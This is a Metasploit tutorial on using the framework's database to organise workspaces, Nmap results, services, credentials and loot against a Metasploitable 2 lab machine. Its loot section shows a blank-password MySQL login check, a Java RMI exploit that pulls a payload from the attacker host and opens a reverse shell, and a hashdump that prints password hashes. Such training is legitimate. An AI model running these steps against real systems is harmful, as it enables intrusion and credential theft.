How To: Use Metasploit's Database to Stay Organized & Store Information While Hacking

Use Metasploit's Database to Stay Organized & Store Information While Hacking

The ability to stay organized and be resourceful with data gathered from recon is one of the things that separates the true hackers from the script kiddies. Metasploit contains a built-in database that allows for efficient storage of information and the ability to utilize that information to better understand the target, which ultimately leads to more successful exploitation.

By understanding and using the built-in Metasploit database to the fullest, we can keep track of information and stay organized during intense hacks. Also, there's being able to set up the database, customize workspaces, store scan results from Nmap, and gather and view discovered information such as services, credentials, and password hashes.

I'm using Metasploit and Kali Linux on the offensive, and Metasploitable 2 as my target. Your results will be similar on other Linux distros against other targets.

Initial Setup & Workspaces

The first thing we need to do, if it is not done already, is start the PostgreSQL service that Metasploit's database uses, with the systemctl start postgresql command.

systemctl start postgresql

At any time, we can use the status keyword to check the current state of the service.

systemctl status postgresql

● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Tue 2019-01-15 09:11:42 CST; 1min 6s ago
  Process: 1708 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1708 (code=exited, status=0/SUCCESS)

Jan 15 09:11:42 drd systemd[1]: Starting PostgreSQL RDBMS...
Jan 15 09:11:42 drd systemd[1]: Started PostgreSQL RDBMS.

We can initialize the actual database with the msfdb command, which creates the default user, database, and relevant information pertaining to the database.

msfdb init

[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

This will probably already have been done since it is a necessary step in order to use Metasploit at all. Regardless, we can check on the status similar to before.

msfdb status

● postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
   Active: active (exited) since Tue 2019-01-15 09:14:03 CST; 59s ago
  Process: 1893 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1893 (code=exited, status=0/SUCCESS)

Jan 15 09:14:03 drd systemd[1]: Starting PostgreSQL RDBMS...
Jan 15 09:14:03 drd systemd[1]: Started PostgreSQL RDBMS.

COMMAND   PID     USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
postgres 1857 postgres    3u  IPv6  39550      0t0  TCP localhost:5432 (LISTEN)
postgres 1857 postgres    6u  IPv4  39551      0t0  TCP localhost:5432 (LISTEN)

UID        PID  PPID  C STIME TTY      STAT   TIME CMD
postgres  1857     1  0 09:14 ?        S      0:00 /usr/lib/postgresql/10/bin/postgres -D /var/lib/postgresql/10/main -c config_file=/etc/postgresql/1

[+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)

Now we can launch Metasploit using the msfconsole command.

msfconsole

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

       =[ metasploit v4.17.17-dev                         ]
+ -- --=[ 1817 exploits - 1031 auxiliary - 315 post       ]
+ -- --=[ 539 payloads - 42 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Once it is up and running, use the help keyword or ? to display the help menu. Near the bottom, there will be a section for database commands.

msf > help

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces

We can check on the status from here as well:

msf > db_status

[*] postgresql connected to msf

Metasploit uses workspaces to keep track of different information, allowing for separate scans and sessions to be utilized simultaneously. This keeps everything organized and in order. To view the current workspace, use the workspace keyword.

msf > workspace

* default

We can see that our only option available is the default workspace. We can take a look at the different options for this command with the -h flag.

msf > workspace -h

Usage:
    workspace                  List workspaces
    workspace -v               List workspaces verbosely
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D               Delete all workspaces
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help information

For instance, we have the ability to add a workspace with the -a flag.

msf > workspace -a myworkspace

[*] Added workspace: myworkspace

Creating a new workspace will automatically switch you over to it.

msf > workspace

  default
* myworkspace

And moving between workspaces is easy, using just its name after workplace.

msf > workspace default

[*] Workspace: default

To delete a workspace, use the -d flag.

msf > workspace -d myworkspace

[*] Deleted workspace: myworkspace

The workspace feature is extremely useful for staying organized while on a pentest or while hacking in general.

Nmap Scans

Another powerful feature of Metasploit's database is the ability to interface with Nmap. Being able to have the results of any Nmap scan stored at your fingertips makes recon so much easier and effective. We can import the saved results of a scan with the db_import command, followed by the file location.

msf > db_import /root/myscan

[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.9.1'
[*] Importing host 172.16.1.102
[*] Successfully imported /root/myscan

We also have the ability to perform an Nmap scan directly from the console. Just use the db_nmap command followed by any options you would normally use for a scan.

msf > db_nmap -A 172.16.1.102

[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 09:33 CST
[*] Nmap: Nmap scan report for 172.16.1.102
[*] Nmap: Host is up (0.0014s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: | ftp-syst:
[*] Nmap: |   STAT:
[*] Nmap: | FTP server status:
[*] Nmap: |      Connected to 172.16.1.100
[*] Nmap: |      Logged in as ftp
[*] Nmap: |      TYPE: ASCII
[*] Nmap: |      No session bandwidth limit
[*] Nmap: |      Session timeout in seconds is 300
[*] Nmap: |      Control connection is plain text
[*] Nmap: |      Data connections will be plain text
[*] Nmap: |      vsFTPd 2.3.4 - secure, fast, stable
[*] Nmap: |_End of status

...

From here, the results of the scan will be stored in the database for us to use as we see fit.

Hosts & Services

Now that we have scanned our target, let's display some information about it. Simply use the hosts command to list information about the current targets stored in the database.

msf > hosts

Hosts
=====

address       mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---                ----  -------  ---------  -----  -------  ----  --------
172.16.1.102  08:00:27:77:62:6c        Linux               2.6.X  server

We can see the IP and MAC address here, as well as operating system information. Use the -h flag to list all the options for interacting with a host.

msf > hosts -h

Usage: hosts [ options ] [addr1 addr2 ...]

OPTIONS:
  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns (see list below)
  -C <col1,col2>    Only show the given columns until the next restart (see list below)
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o <file>         Send output to a file in csv format
  -O <column>       Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by
  -i,--info         Change the info of a host
  -n,--name         Change the name of a host
  -m,--comment      Change the comment of a host
  -t,--tag          Add or specify a tag to a range of hosts

Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count,

We can add or delete hosts manually, modify the info and add comments, and various other housekeeping tasks here. One useful option is the ability to list only certain columns — use the -c flag followed by a comma-separated list of the columns to be shown.

msf > hosts -c address,os_name

Hosts
=====

address       os_name
-------       -------
172.16.1.102  Linux

We can also display a list of services that were discovered by the Nmap scan from earlier with the services command.

msf > services

Services
========

host          port  proto  name         state  info
----          ----  -----  ----         -----  ----
172.16.1.102  21    tcp    ftp          open   vsftpd 2.3.4
172.16.1.102  22    tcp    ssh          open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
172.16.1.102  23    tcp    telnet       open   Linux telnetd
172.16.1.102  25    tcp    smtp         open   Postfix smtpd
172.16.1.102  53    tcp    domain       open   ISC BIND 9.4.2
172.16.1.102  80    tcp    http         open   Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.1.102  111   tcp    rpcbind      open   2 RPC #100000
172.16.1.102  139   tcp    netbios-ssn  open   Samba smbd 3.X - 4.X workgroup: WORKGROUP
172.16.1.102  445   tcp    netbios-ssn  open   Samba smbd 3.0.20-Debian workgroup: WORKGROUP
172.16.1.102  512   tcp    exec         open   netkit-rsh rexecd
172.16.1.102  513   tcp    login        open
172.16.1.102  514   tcp    shell        open   Netkit rshd
172.16.1.102  1099  tcp    java-rmi     open   Java RMI Registry
172.16.1.102  1524  tcp    bindshell    open   Metasploitable root shell
172.16.1.102  2049  tcp    nfs          open   2-4 RPC #100003
172.16.1.102  2121  tcp    ftp          open   ProFTPD 1.3.1
172.16.1.102  3306  tcp    mysql        open   MySQL 5.0.51a-3ubuntu5
172.16.1.102  5432  tcp    postgresql   open   PostgreSQL DB 8.3.0 - 8.3.7
172.16.1.102  5900  tcp    vnc          open   VNC protocol 3.3
172.16.1.102  6000  tcp    x11          open   access denied
172.16.1.102  6667  tcp    irc          open   UnrealIRCd
172.16.1.102  8009  tcp    ajp13        open   Apache Jserv Protocol v1.3
172.16.1.102  8180  tcp    unknown      open   Apache-Coyote/1.1

This will show the host, service name, port, and other information relating to the service. Again, we can view more options for this command by tacking on the -h flag.

msf > services -h

Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -h,--help         Show this help information
  -s <name1,name2>  Search for a list of service names
  -p <port1,port2>  Search for a list of ports
  -r <protocol>     Only show [tcp|udp] services
  -u,--up           Only show services which are up
  -o <file>         Send output to a file in csv format
  -O <column>       Order rows by specified column number
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: created_at, info, name, port, proto, state, updated_at

Similar options exist, such as the ability to add and delete services manually, to filter by column name, and to search by keyword.

msf > services -S mysql

Services
========

host          port  proto  name   state  info
----          ----  -----  ----   -----  ----
172.16.1.102  3306  tcp    mysql  open   MySQL 5.0.51a-3ubuntu5

Credentials & Loot

Information about discovered hosts and services is not the only thing that can be stored in the database. We can also save valuable data like credentials and password hashes. The creds command will display current information about discovered credentials.

msf > creds

Credentials
===========

host  origin  service  public  private  realm  private_type
----  ------  -------  ------  -------  -----  ------------

As you can see, right now there is nothing in there, so let's go enumerate some login info.

Metasploit has an auxiliary scanner that can probe MySQL for valid credentials. Let's run that against our target using the root account and a blank password.

msf auxiliary(scanner/mysql/mysql_login) > run

[+] 172.16.1.102:3306     - 172.16.1.102:3306 - Found remote MySQL version 5.0.51a
[+] 172.16.1.102:3306     - 172.16.1.102:3306 - Success: 'root:'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It looks like it was successful, so now we can check if the database was populated with those credentials.

msf > creds

Credentials
===========

host          origin        service           public  private  realm  private_type
----          ------        -------           ------  -------  -----  ------------
172.16.1.102  172.16.1.102  3306/tcp (mysql)  root                    Blank password

We can now see information about the host and service, as well as the login info under root with a blank password. There are more options for credentials beyond this basic usage, which can be viewed with the -h flag.

msf > creds -h

With no sub-command, list credentials. If an address range is
given, show only credentials with logins on hosts within that
range.

Usage - Listing credentials:
  creds [filter options] [address range]

Usage - Adding credentials:
  creds add uses the following named parameters.
    user      :  Public, usually a username
    password  :  Private, private_type Password.
    ntlm      :  Private, private_type NTLM Hash.
    ssh-key   :  Private, private_type SSH key, must be a file path.
    hash      :  Private, private_type Nonreplayable hash
    realm     :  Realm,
    realm-type:  Realm, realm_type (domain db2db sid pgdb rsync wildcard), defaults to domain.

...

We also have the ability to store other discovered information such as password hashes. To view current findings, use the loot command.

msf > loot

Loot
====

host  service  type  name  content  info  path
----  -------  ----  ----  -------  ----  ----

Again, we haven't done anything yet so there is nothing here yet. Let's see if we can gather some hashes from our target.

First, we'll need to compromise it and get a root shell. We can do this in a number of ways, but for now we can exploit a vulnerability found in a Java service. Once we execute the attack, we can background the session.

msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 172.16.1.100:4444
[*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/fbz8uGK4rg1dea
[*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/fbz8uGK4rg1dea
[*] 172.16.1.102:1099 - Server started.
[*] 172.16.1.102:1099 - Sending RMI Header...
[*] 172.16.1.102:1099 - Sending RMI Call...
[*] 172.16.1.102:1099 - Replied to request for payload JAR
[*] Sending stage (2952 bytes) to 172.16.1.102
[*] 172.16.1.102:1099 - Server stopped.

^Z
Background session 1? [y/N]  y

Next, we can use a post-exploitation module to get the hashes from this system. Use the session that we just backgrounded and run the exploit.

msf post(linux/gather/hashdump) > options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(linux/gather/hashdump) > set session 1
session => 1
msf post(linux/gather/hashdump) > run

[!] SESSION may not be compatible with this module.
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt
[*] Post module execution completed

It looks like it found some hashes, but let's check the database now for loot.

msf > loot

Loot
====

host          service  type          name                   content     info                            path
----          -------  ----          ----                   -------     ----                            ----
172.16.1.102           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt
172.16.1.102           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.passwd_635591.txt
172.16.1.102           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.shadow_881518.txt

Now we can see information about the hashes we found, such as the type and file path. Like the other features of the database, we can see a few more options for loot by displaying the help.

msf > loot -h

Usage: loot <options>
 Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]
  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]
  Del: loot -d [addr1 addr2 ...]

  -a,--add          Add loot to the list of addresses, instead of listing
  -d,--delete       Delete *all* loot matching host and type
  -f,--file         File with contents of the loot to add
  -i,--info         Info of the loot to add
  -t <type1,type2>  Search for a list of types
  -h,--help         Show this help information
  -S,--search       Search string to filter by

All of this data we have stored is basically useless if we cannot save it for later. Luckily, we can do just that with the db_export command.

msf > db_export -h

Usage:
    db_export -f <format> [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified

Simply specify the file format and the path to write to, and all the information stored in the database will be exported to a file for later use.

msf > db_export -f xml /root/mydbinfo.xml

[*] Starting export of workspace default to /root/mydbinfo.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Starting export of module details
[*]     >> Finished export of report
[*] Finished export of workspace default to /root/mydbinfo.xml [ xml ]...

Wrap Up

In this article, we explored a little-known feature of Metasploit that allows us to keep track of information and stay organized while hacking. We covered how to set up the database and customize workspaces, how to utilize Nmap to store scan results, and gather and view discovered information such as services, credentials, and password hashes. The ability to store and manage data right in Metasploit allows us to stay organized and ultimately become a more successful hacker.

Cover image by startupstockphotos/Pexels; Screenshots by drd_/Null Byte

Get The Null Byte Newsletter

Never miss a new hacking or security guide

3 Comments

Thanks you for this tutorial

I have export my database like you tell it but I not understand how read the file I want tell that the files is not understandable

You have to specify the format as either xml or pwdump.

Share Your Thoughts

  • Hot
  • Latest